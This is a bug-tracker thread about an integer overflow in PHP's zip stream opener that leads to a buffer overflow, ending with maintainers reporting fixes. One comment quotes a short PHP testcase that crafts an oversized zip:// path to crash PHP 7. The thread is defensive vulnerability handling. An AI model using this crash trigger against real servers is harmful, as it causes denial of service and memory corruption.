Description Sebastian Krahmer 2016-08-01 08:41:15 UTC 
Quoting from RH BZ:

It was found that when opening a zip stream, php_stream_zip_opener fails to check the path_len that is vulnerable to integer overflow. It is later used to calculate the length of mempcy that can lead to buffer overflow and memory corruption.

Comment 2 Petr Gajdos 2016-08-03 07:21:36 UTC 
Testcase from the php bug:

<?php
ini_set('memory_limit',-1);
$fragment_len = 0x7fffffff-1; //minus '#'
$overflow_len = 0x1050;
$fp = fopen('zip://'.str_repeat('B',$overflow_len).'#'.str_repeat('A',$fragment_len),'r');
?>

Segfaults for 12/php7, but not for php5.
Comment 3 Petr Gajdos 2016-08-03 07:22:04 UTC 
(get to memory limit for php5)
Comment 4 Petr Gajdos 2016-08-03 07:32:32 UTC 
Code is everywhere, considering affected.
Comment 5 Petr Gajdos 2016-08-04 08:54:25 UTC 
I believe all affected code streams fixed.
